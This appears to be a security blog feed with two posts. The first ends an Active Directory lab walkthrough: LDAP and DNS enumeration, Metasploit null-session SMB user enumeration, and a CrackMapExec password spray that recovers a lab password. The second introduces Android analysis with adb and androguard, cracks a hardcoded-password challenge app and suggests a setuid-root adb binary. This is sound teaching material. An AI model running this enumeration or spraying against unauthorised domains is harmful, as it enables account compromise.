|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       highestCommittedUSN: 172440
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       dnsHostName: IC1DC1.child1.internal.zeroday.lab
|       ldapServiceName: internal.zeroday.lab:[email protected]
|       serverName: CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       isSynchronized: TRUE
|       isGlobalCatalogReady: TRUE
|       domainFunctionality: 7
|       forestFunctionality: 7
|_      domainControllerFunctionality: 7
Service Info: Host: IC1DC1; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

The ldap-rootdse Nmap script shows us that this domain controller belongs to a child domain (child1.internal.zeroday.lab), shown in the defaultNamingContext attribute, and the root domain is internal.zeroday.lab, shown in the rootDomainNamingContext attribute.

DNS Enumeration

Along with LDAP, the port scan showed that this system was listening on UDP port 53, this is almost certainly Domain Name System (DNS). DNS can be queried to determine the domain controllers for a particular domain:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Lab:~# dig srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20

; <<>> DiG 9.11.14-3-Debian <<>> srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28760
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. IN SRV

;; ANSWER SECTION:
_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. 600 IN SRV 0 100 389 IC1DC1.child1.internal.zeroday.lab.

;; ADDITIONAL SECTION:
IC1DC1.child1.internal.zeroday.lab. 3600 IN A   192.168.73.20

;; Query time: 1 msec
;; SERVER: 192.168.73.20#53(192.168.73.20)
;; WHEN: Thu Feb 13 00:15:34 GMT 2020
;; MSG SIZE  rcvd: 147

It can also be used to query the root domain's domain controllers:

1
2
3
4
Lab:~# dig +short srv _ldap._tcp.dc._msdcs.internal.zeroday.lab @192.168.73.20
0 100 389 IDC1.internal.zeroday.lab.
Lab:~# dig +short a IDC1.internal.zeroday.lab @192.168.73.20
192.168.71.20

SMB Enumeration

Server Message Block (SMB) can be really useful for attackers, there are many possible attacks against the service. Here I'll only perform some very basic enumeration.

First it's useful to know whether NULL authentication is permitted. A Metasploit module can be used to test for this:

1
2
3
4
msf5 auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.73.20:445     - Pipes: \netlogon, \lsarpc, \samr, \atsvc, \epmapper, \eventlog, \InitShutdown, \lsass, \LSM_API_service, \ntsvcs, \protected_storage, \router, \scerpc, \srvsvc, \W32TIME_ALT, \wkssvc
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

So we can access SMB pipes without requiring a username and password. While this isn't that common these days on domain controllers, I have seen this on some corporate networks.

We should also try enumerating users. Another Metasploit module can be used for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf5 auxiliary(scanner/smb/smb_lookupsid) > run

[*] 192.168.73.20:445     - PIPE(LSARPC) LOCAL(ICHILD1 - 5-21-3578234567-448745970-1525302398) DOMAIN(ICHILD1 - 5-21-3578234567-448745970-1525302398)
[*] 192.168.73.20:445     - USER=Administrator RID=500
[*] 192.168.73.20:445     - USER=Guest RID=501
[*] 192.168.73.20:445     - USER=krbtgt RID=502
[*] 192.168.73.20:445     - USER=DefaultAccount RID=503
[*] 192.168.73.20:445     - GROUP=Domain Admins RID=512
[*] 192.168.73.20:445     - GROUP=Domain Users RID=513
[*] 192.168.73.20:445     - GROUP=Domain Guests RID=514
[*] 192.168.73.20:445     - GROUP=Domain Computers RID=515
[*] 192.168.73.20:445     - GROUP=Domain Controllers RID=516
[*] 192.168.73.20:445     - TYPE=4 NAME=Cert Publishers rid=517
[*] 192.168.73.20:445     - GROUP=Group Policy Creator Owners RID=520
[*] 192.168.73.20:445     - GROUP=Read-only Domain Controllers RID=521
[*] 192.168.73.20:445     - GROUP=Cloneable Domain Controllers RID=522
[*] 192.168.73.20:445     - GROUP=Protected Users RID=525
[*] 192.168.73.20:445     - GROUP=Key Admins RID=526
[*] 192.168.73.20:445     - TYPE=4 NAME=RAS and IAS Servers rid=553
[*] 192.168.73.20:445     - TYPE=4 NAME=Allowed RODC Password Replication Group rid=571
[*] 192.168.73.20:445     - TYPE=4 NAME=Denied RODC Password Replication Group rid=572
[*] 192.168.73.20:445     - USER=IC1DC1$ RID=1000
[*] 192.168.73.20:445     - TYPE=4 NAME=DnsAdmins rid=1101
[*] 192.168.73.20:445     - GROUP=DnsUpdateProxy RID=1102
[*] 192.168.73.20:445     - USER=INTERNAL$ RID=1103
[*] 192.168.73.20:445     - USER=child.user RID=1104
[*] 192.168.73.20:445     - USER=child.admin RID=1105
[*] 192.168.73.20:445     - USER=client1testspn$ RID=1106
[*] 192.168.73.20:445     - USER=child.local RID=1107
[*] 192.168.73.20:445     - USER=ChildTestSPN$ RID=1109
[*] 192.168.73.20:445     - USER=WIN10TEST$ RID=1110
[*] 192.168.73.20:445     - ICHILD1 [Administrator, Guest, krbtgt, DefaultAccount, IC1DC1$, INTERNAL$, child.user, child.admin, client1testspn$, child.local, ChildTestSPN$, WIN10TEST$ ]
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

Password Spraying

Now that we have a list of valid usernames, it's worth trying to guess a valid password. Password spraying is a method of attack where you take a list of valid, or potentially valid, usernames and attempt to try different commonly used passwords across all usernames.

The lab environment is small but in a real world AD infrastructure it's very likely to be able to guess passwords for some accounts. Of course on a real infrastrcture extreme care has to be taken before attempting to perform password spraying attacks as there is a real possibilty of locking user accounts.

To perform a password spray CrackMapExec can be used:

1
2
3
4
5
6
Lab:~# cme smb 192.168.73.20 -d child1.internal.zeroday.lab -u users.txt -p Password4
SMB         192.168.73.20   445    IC1DC1           [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:IC1DC1) (domain:child1.internal.zeroday.lab) (signing:True) (SMBv1:True)
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\Administrator:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\IC1DC1$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\INTERNAL$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [+] child1.internal.zeroday.lab\child.user:Password4

The password for the child.user account was discovered in this password spray attempt. Now recon from an authenticated point of view is possible on this domain.

Conclusion

AD security is a huge topic and I've only began the scrath the surface in this post, even from an unauthenticated point of view. Hopefully this was a half decent way to introduce the topic though.

It's worth noting that there are many toold that perform the same tests carried out in this post, but some of them did not work. I might make a post demonstrating that because it's important to understand that different tools will work in different situations, so it's very useful to have knowledge of many and try others when your first choice fails.

Further Reading

If you are serious about AD security, the best resource out there is adscurity.org by Sean Metcalf.

✇eXploit

Android Basics

By: 0xe7

Hacking Android is a huge topic, you have the Linux kernel, native code applications and normal Android applications that run on top of the Dalvik VM, a huge attack surface with the wireless, bluetooth, USB, NFC and various other interfaces.

This post is going to be a very short introduction to the platform as well as introducing some very basic analysis techniques for analyzing an Android application.

For this post I will be using a HTC Desire HD running an unrooted Android 2.3.5, this is an old version of Android, running on an old device but it will be fine for the purposes of this post.

The host machine that I'll be using is running 64bit Gentoo running the Linux kernel version 4.0.5.

Setting Up The Environment

The first thing you need to do if you want to analyze an Android device is to install the SDK.

Depending on your system, you might need to install both the Android Studio as well as the platform tools, its important that you have the platform-tools directory because that is the directory that contains the adb binary.

adb is the Android Debug Bridge and it's used to do any sort of debugging of any android device. Without this application, debugging Android will be very difficult.

On my Windows computer this was installed to C:\Users\User\AppData\Local\Android\sdk\platform-tools.

On my Debian-based system it was installed to $HOME/Android/Sdk/platform-tools and on my Gentoo system it was installed to /usr/bin.

Where ever it is installed to, it's best to include this directory in your PATH variable so that you can run it with cd'ing to that directory or having to put the whole file path in every time.

This is optional but on Linux I've been unable to get adb to work with running it as root, instead of having to use sudo all the time I set the permissions to the adb binary to 4750 and the ownership to root:wheel, this makes it a setuid binary and so will run with root permissions but only for users in the wheel group.

The permissions look as follows:

1
2
[email protected] ~ $ ls -l `which adb`
-rwsr-x--- 1 root wheel 156128 Aug  9 01:13 /usr/bin/adb

Exploring The System Using ADB

Firstly the Android device needs to be connected to the host machine using USB.

After that we need to enable USB debugging, on my test device the setting is in Settings->Applications->Development:

You will need to confirm this:

We can now use adb to get a shell on the Android device and take a look around, first let's check the version of the Linux kernel that it's running:

1
2
3
4
5
6
7
8
9
[email protected] ~ $ adb shell
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
$ pwd
/
$ uname -a
uname: permission denied
$ cat /proc/version
Linux version 2.6.35.10-g931a37e ([email protected]) (gcc version 4.4.0 (GCC) ) #1 PREEMPT Wed Nov 9 14:04:03 CST 2011

So as you can see it is, in fact, running Linux version 2.6.35 but in some sort of restricted environment.

Let's check to see some details of the user that we have been logged in as:

1
2
3
4
5
6
$ whoami
whoami: permission denied
$ w
w: permission denied
$ cat /etc/passwd
/etc/passwd: No such file or directory

As you can see due to the restricted environment, the normal methods aren't working.

But there is an easy way to figure this out:

1
2
$ ps | grep ' ps'
grep: permission denied

So that didn't work either, but there is a way to use grep on the output of these commands:

1
2
3
$ exit
[email protected] ~ $ adb shell ps | grep ' ps'
shell     5968  5967  944    332   00000000 afd0b83c R ps

Here we can see we're running at the user shell. Also note that we can run the commands using adb but then pipe the output to applications running on our host system to sort through the data.

Knowing our username we can now see what shell we are running in:

1
2
3
4
[email protected] ~ $ adb shell ps | grep shell
shell     6062  29118 788    336   c009ccc8 afd0c78c S /system/bin/sh
shell     6063  6062  944    332   00000000 afd0b83c R ps
shell     29118 1     3464   216   ffffffff 00000000 S /sbin/adbd

So this is clearly a Linux system but its very different from most Linux systems, let's have a look at the directories under /:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[email protected] ~ $ adb shell ls -l /
drwxr-xr-x root     system            2015-07-28 18:35 app-cache
dr-x------ root     root              2015-07-28 18:33 config
lrwxrwxrwx root     root              2015-07-28 18:33 sdcard -> /mnt/sdcard
drwxr-xr-x root     root              2015-07-28 18:33 acct
drwxrwxr-x root     system            2015-07-28 18:33 mnt
lrwxrwxrwx root     root              2015-07-28 18:33 vendor -> /system/vendor
lrwxrwxrwx root     root              2015-07-28 18:33 d -> /sys/kernel/debug
lrwxrwxrwx root     root              2015-07-28 18:33 etc -> /system/etc
drwxrwx--- system   cache             2015-08-15 19:00 cache
drwx------ root     root              2015-08-16 09:53 devlog
-rw-r--r-- root     root          728 1970-01-01 01:00 ueventd.spade.rc
-rw-r--r-- root     root         4429 1970-01-01 01:00 ueventd.rc
-rw-r--r-- root     root            0 1970-01-01 01:00 ueventd.goldfish.rc
drwxr-xr-x root     root              2012-11-18 05:06 system
drwxr-xr-x root     root              2015-07-28 18:32 sys
drwxr-x--- root     root              1970-01-01 01:00 sbin
dr-xr-xr-x root     root              1970-01-01 01:00 proc
-rwxr-x--- root     root         7423 1970-01-01 01:00 init.spade.rc
-rwxr-x--- root     root        21309 1970-01-01 01:00 init.rc
-rwxr-x--- root     root         1677 1970-01-01 01:00 init.goldfish.rc
-rwxr-x--- root     root       107216 1970-01-01 01:00 init
-rw-r--r-- root     root          118 1970-01-01 01:00 default.prop
drwxrwx--x system   system            2015-02-16 07:05 data
-rw-r--r-- root     root         1401 1970-01-01 01:00 cwkeys
-rw-r--r-- root     root          460 1970-01-01 01:00 bootcomplete.rc
drwx------ root     root              2011-11-09 05:59 root
drwxr-xr-x root     root              2015-08-10 08:39 dev

Again, some of these are familiar (like etc, proc, dev...) but directories like system, acct and app-cache are less familiar.

I'm not going to go through the whole of Android, the point of this section was to demonstrate that this is a Linux system but not 1 that will seem totally familiar with Linux admins.

There are, however, a couple of commands I want to mention here, firstly getprop:

1
2
3
4
5
[email protected] ~ $ adb shell getprop | grep build.version
[ro.build.version.incremental]: [208029.5]
[ro.build.version.sdk]: [10]
[ro.build.version.codename]: [REL]
[ro.build.version.release]: [2.3.5]

Here I'm just using getprop to show some information about the build version of Android but you can get a lot of information from this.

The other 1 is logcat, which is basically the system log:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[email protected] ~ $ adb logcat -t 8
--------- beginning of /dev/log/system
--------- beginning of /dev/log/main
D/dalvikvm(11665): GC_CONCURRENT freed 513K, 37% free 5018K/7879K, external 0K/0K, paused 3ms+2ms
D/dalvikvm(14049): GC_EXPLICIT freed 13K, 41% free 4222K/7047K, external 0K/0K, paused 102ms
D/dalvikvm(11665): GC_CONCURRENT freed 545K, 36% free 5193K/8071K, external 0K/0K, paused 2ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 594K, 36% free 5338K/8263K, external 0K/0K, paused 9ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 779K, 38% free 5355K/8519K, external 0K/0K, paused 3ms+11ms
D/dalvikvm(11665): GC_CONCURRENT freed 831K, 37% free 5428K/8583K, external 0K/0K, paused 2ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 857K, 38% free 5414K/8647K, external 0K/0K, paused 2ms+3ms
D/dalvikvm(11665): GC_CONCURRENT freed 721K, 37% free 5460K/8647K, external 0K/0K, paused 4ms+6ms

Here I'm just outputing the last 8 lines of the log, as you can see it's an actual built in command into adb, but you can run logcat from inside the shell too.

logcat is very useful for debugging and well as showing some information disclosure vulnerabilities that might exist in an Android application, but we'll get to that a bit later :-)

Installing And Running The Challenge App

For the purposes of this post I created a little, very basic, challenge application, which you can download from here.

You can install the application using adb:

1
2
3
4
5
[email protected] ~ $ adb push Android/src/challenge1.apk /data/local/tmp/
2927 KB/s (1052648 bytes in 0.351s)
[email protected] ~ $ adb shell pm install /data/local/tmp/challenge1.apk
        pkg: /data/local/tmp/challenge1.apk
Success

Now that the application is installed we can run it and have a look at what it does.

Starting the application shows us this:

Putting in some text in to the field and clicking on the Check Password button shows us this:

So its clear what we have to try and do here.

Android Applications

Android applications come in apk format, these are just Java archive file:

1
2
[email protected] ~/Android/src $ file challenge1.apk
challenge1.apk: Java archive data (JAR)

These are very similar to zip files and can be unzipped using the unzip utility:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[email protected] ~/Android/src $ mkdir challenge1
[email protected] ~/Android/src $ cd challenge1
[email protected] ~/Android/src/challenge1 $ unzip ../challenge1.apk
Archive:  ../challenge1.apk
  inflating: AndroidManifest.xml
  inflating: res/anim/abc_fade_in.xml
  inflating: res/anim/abc_fade_out.xml
  inflating: res/anim/abc_grow_fade_in_from_bottom.xml
  inflating: res/anim/abc_popup_enter.xml
  inflating: res/anim/abc_popup_exit.xml
  inflating: res/anim/abc_shrink_fade_out_from_bottom.xml
...
  inflating: res/layout/notification_template_lines.xml
  inflating: res/layout/notification_template_media.xml
  inflating: res/layout/notification_template_part_chronometer.xml
  inflating: res/layout/notification_template_part_time.xml
  inflating: res/layout/select_dialog_item_material.xml
  inflating: res/layout/select_dialog_multichoice_material.xml
  inflating: res/layout/select_dialog_singlechoice_material.xml
  inflating: res/layout/support_simple_spinner_dropdown_item.xml
  inflating: res/menu/menu_main.xml
 extracting: res/mipmap-hdpi-v4/ic_launcher.png
 extracting: res/mipmap-mdpi-v4/ic_launcher.png
 extracting: res/mipmap-xhdpi-v4/ic_launcher.png
 extracting: res/mipmap-xxhdpi-v4/ic_launcher.png
 extracting: resources.arsc
  inflating: classes.dex
  inflating: META-INF/MANIFEST.MF
  inflating: META-INF/CERT.SF
  inflating: META-INF/CERT.RSA

As you will see there are a lot of files in res/, I've shortened it here.

One of the most important files is AndroidManifest.xml, this contains the configuration of the application, including activity, intent and permissions declarations.

But as you can see this is some sort of binary file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected] ~/Android/src/challenge1 $ file AndroidManifest.xml
AndroidManifest.xml: data
[email protected] ~/Android/src/challenge1 $ cat AndroidManifest.xml
„P4Rvœª¸.2Dx¬À,J^xŒ.fz
                         versionCode
minSdkVersiontargetSdkVersion       versionName
                             allowBackupiconlabelthemenameandroid*http://schemas.android.com/apk/res/androidpackageplatformBuildVersionCodeplatformBuildVersionNammanifest+ph.exploit.crack.cha5.1.1-181972uses-sdkge11.022
intent-filteractionandroid.intent.action.MAIcategory android.intent.category.LAUNCHER,nActivity
                                                                                      €ÿÿÿÿ
ˆÿÿÿÿÿÿÿÿ
ÿÿÿÿ
ÿÿÿÿ
ÿÿÿLÿÿÿÿÿÿÿÿ
ÿÿÿÿ

ÿÿÿÿ    ÿÿÿÿÿÿÿÿt
                 ÿÿÿÿÿÿÿÿ
ÿÿÿw
ÿÿÿÿ
ÿÿÿÿ
ÿÿÿÿÿÿÿLÿÿÿÿÿÿÿÿ
ÿÿÿÿ
$ÿÿÿÿÿÿÿÿ8ÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿÿÿ8ÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

It's actually binary XML.

We can manually convert this to plain XML using something like AXMLPrinter2 but I'll show an easier way to look at this later.

Another important file is the classes.dex file. This contains all of our Java code.

Most code that runs on Android applications, including most of the Android Framework, is Java, but instead of compiling to Java bytecode, it is compiled into Dalvik bytecode (and stored in .dex or .odex files).

Again, this could be manually decompiled back to Java using dex2jar and looked at using jd-gui but I'll show a better way of doing this too.

Doing A Very Basic Static Analysis

To end this post I'll crack this challenge while demonstrating a quick basic analysis of the apk file using a tool called androguard created by Anthony Desnos.

Androguard is a python toolset for analyzing apk files.

Its very easy to setup, providing you have python and git installed you just run:

1
git clone https://github.com/androguard/androguard.git

This will create a directory in the current directory called androguard.

Now you just need to make sure you have the latest version of IPython installed, you can do that by running:

1
pip install ipython

Now just cd to the androguard directory and you should see the following (or something very similar):

1
2
3
[email protected] ~/tools/androguard $ ls
androarsc.py  androaxml.py   androdd.py    androdis.py   androguard   androlyze.py  androsim.py   CHANGELOG  elsim     LICENCE-2.0  README.md  tests
androauto.py  androcsign.py  androdiff.py  androgexf.py  androgui.py  androsign.py  apkviewer.py  demos      examples  Makefile     setup.py   tools

The tool we'll be using is androlyze.py, we can start it by running:

1
2
3
[email protected] ~/tools/androguard $ ./androlyze.py -s
Androlyze version 3.0
In [1]:

Now we need to import our apk file:

1
2
3
In [1]: a,d,dx = AnalyzeAPK('/home/user/Android/src/challenge1.apk', decompiler='dad')

In [2]:

Here we are using the dad decompiler, created by Geoffroy Gueguen, that comes with androguard and selecting the challenge apk file.

Now we can look at this application in more detail:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
In [2]: a.get_activities()
Out[2]: ['ph.exploit.crack.challenge1.crackchallenge1.MainActivity']

In [3]: a.get_main_activity()
Out[3]: u'ph.exploit.crack.challenge1.crackchallenge1.MainActivity'

In [4]: a.get_permissions()
Out[4]: []

In [5]: a.get_receivers()
Out[5]: []

In [6]: print a.xml['AndroidManifest.xml'].toxml()
<?xml version="1.0" ?><manifest android:versionCode="1" android:versionName="1.0" package="ph.exploit.crack.challenge1.crackchallenge1" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="10" android:targetSdkVersion="22">
</uses-sdk>
<application android:allowBackup="true" android:icon="@7F030000" android:label="@7F060012" android:theme="@7F080077">
<activity android:label="@7F060012" android:name="ph.exploit.crack.challenge1.crackchallenge1.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
</action>
<category android:name="android.intent.category.LAUNCHER">
</category>
</intent-filter>
</activity>
</application>
</manifest>

In [7]:

As you can see this is a very basic application, but we can now see the contents of the AndroidManifest.xml file.

An activity is basically just a screen, or, to relate it to a web application, a page. The main activity is the first activity that is shown to the user.

Let's try to look at some of the code.

First we'll print the different methods which are part of the main activity:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
In [7]: for m in d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.get_methods():
   ...:     print m.get_name()
   ...:     
<init>
onClick
onCreate
onCreateOptionsMenu
onOptionsItemSelected

In [8]:

The first place to look here is the onCreate method.

This is the code that gets run when the application first starts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
In [8]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onCreate.source()
protected void onCreate(android.os.Bundle p15)
    {
        super.onCreate(p15);
        android.widget.RelativeLayout v1_1 = new android.widget.RelativeLayout(this);
        v1_1.setBackgroundColor(-16777216);
        android.widget.RelativeLayout$LayoutParams v0_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v2_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v4_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v8_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v7_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        v0_1.addRule(14);
        v0_1.addRule(15);
        this.checkButton = new android.widget.Button(this);
        this.checkButton.setText("Check Password");
        this.checkButton.setBackgroundColor(-1);
        this.checkButton.setTextColor(-16777216);
        this.checkButton.setId(1);
        this.checkButton.setClickable(1);
        this.checkButton.setOnClickListener(this);
        this.inputBox = new android.widget.EditText(this);
        this.inputBox.setBackgroundColor(-1);
        this.inputBox.setTextColor(-16711936);
        this.inputBox.setId(2);
        v2_1.addRule(2, this.checkButton.getId());
        v2_1.addRule(14);
        v2_1.setMargins(0, 0, 0, 50);
        android.widget.TextView v3_1 = new android.widget.TextView(this);
        v3_1.setText("Please enter the secret password:");
        v3_1.setTextColor(-1);
        v3_1.setId(3);
        v4_1.addRule(2, this.inputBox.getId());
        v4_1.addRule(14);
        v4_1.setMargins(0, 0, 0, 50);
        android.widget.TextView v9_1 = new android.widget.TextView(this);
        v9_1.setText("Welcome to Challenge 1!");
        v9_1.setTextColor(-1);
        v9_1.setId(4);
        v8_1.addRule(2, v3_1.getId());
        v8_1.addRule(14);
        v8_1.setMargins(0, 0, 0, 50);
        this.resultText = new android.widget.TextView(this);
        this.resultText.setId(5);
        this.resultText.setVisibility(4);
        v7_1.addRule(3, this.checkButton.getId());
        v7_1.addRule(14);
        v7_1.setMargins(0, 50, 0, 0);
        this.inputBox.setWidth(((int) android.util.TypedValue.applyDimension(1, 1133903872, this.getResources().getDisplayMetrics())));
        v1_1.addView(this.checkButton, v0_1);
        v1_1.addView(this.inputBox, v2_1);
        v1_1.addView(v3_1, v4_1);
        v1_1.addView(v9_1, v8_1);
        v1_1.addView(this.resultText, v7_1);
        this.setContentView(v1_1);
        return;
    }


In [9]:

We can see here that the actual interface for this application is created dynamically using Java.

As you can see from line 20, this main class is registered as the onClickListener for the button that checks the value of the password.

This means that when you press the Check Password button, it will run the onClick method in this class.

So let's look at the code for that method:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
In [9]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onClick.source()
public void onClick(android.view.View p4)
    {
        if (p4 == this.checkButton) {
            if (this.inputBox.getText().toString().equals("supersecurepassword") != 1) {
                this.resultText.setText("Incorrect password! :\'-(");
                this.resultText.setTextColor(-65536);
                this.resultText.setVisibility(0);
            } else {
                this.resultText.setText("Well done!! Challenge passed! :-)");
                this.resultText.setTextColor(-16711936);
                this.resultText.setVisibility(0);
            }
        }
        return;
    }


In [10]:

So here it's obvious that the password is supersecurepassword.

We can check that on the application itself:

It was fine this time but there are times when a decompilation will not be enough, the decompiler will not be able to recreate the source code well enough to get the right result.

In these cases you can use the disassembler like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
 In [10]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onClick.show()
########## Method Information
Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->onClick(Landroid/view/View;)V [access_flags=public]
########## Params
- local registers: v0...v3
- v4: android.view.View
- return: void
####################
***************************************************************************
onClick-BB@0x0 :
        0  (00000000) const/4             v2, 0
        1  (00000002) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->checkButton Landroid/widget/Button;
        2  (00000006) if-ne               v4, v0, 41 [ onClick-BB@0xa onClick-BB@0x58 ]

onClick-BB@0xa :
        3  (0000000a) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->inputBox Landroid/widget/EditText;
        4  (0000000e) invoke-virtual      v0, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        5  (00000014) move-result-object  v0
        6  (00000016) invoke-virtual      v0, Ljava/lang/Object;->toString()Ljava/lang/String;
        7  (0000001c) move-result-object  v0
        8  (0000001e) const-string        v1, 'supersecurepassword'
        9  (00000022) invoke-virtual      v0, v1, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        10 (00000028) move-result         v0
        11 (0000002a) const/4             v1, 1
        12 (0000002c) if-ne               v0, v1, 23 [ onClick-BB@0x30 onClick-BB@0x5a ]

onClick-BB@0x30 :
        13 (00000030) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
